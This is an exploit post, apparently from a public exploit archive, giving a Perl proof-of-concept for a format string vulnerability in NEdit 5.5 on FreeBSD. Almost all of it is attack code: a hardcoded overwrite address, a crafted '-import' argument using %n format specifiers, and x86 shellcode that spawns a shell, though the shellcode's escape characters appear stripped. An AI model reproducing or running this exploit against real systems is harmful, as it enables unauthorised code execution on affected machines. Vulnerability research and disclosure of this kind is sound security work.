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NEdit 5.5 Format String

Posted on 14 April 2011

# Exploit Title: Format string vulnerability in Nedit <= 5.5. # Date: 04/13/2011 # Author: Tosh (The bug was already patched when I'd found the vuln) # Email: tosh@tuxfamily.org # Patch: http://nedit.cvs.sourceforge.net/viewvc/nedit/nedit/source/preferences.c?r1=1.159&r2=1.160&view=patch # Version: Nedit 5.5 # Tested on: FreeBSD 8.2-RELEASE # CVE: don't found #!/usr/bin/perl -w use strict; my $exit_addr = 0x0815a86c; my $sc = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50". "x54x53xb0x3bx50xcdx80"; my (@payload) = ("./nedit", "-import", pack('L',$exit_addr).pack('L',$exit_addr+1).pack('L',$exit_addr+2).pack('L',$exit_addr+3). "%1021$.8x-"."%1$127x%1021$n%1$083x%1022$n%1$212x%1023$n%1$256x%1024$n" . $sc); exec(@payload);

 

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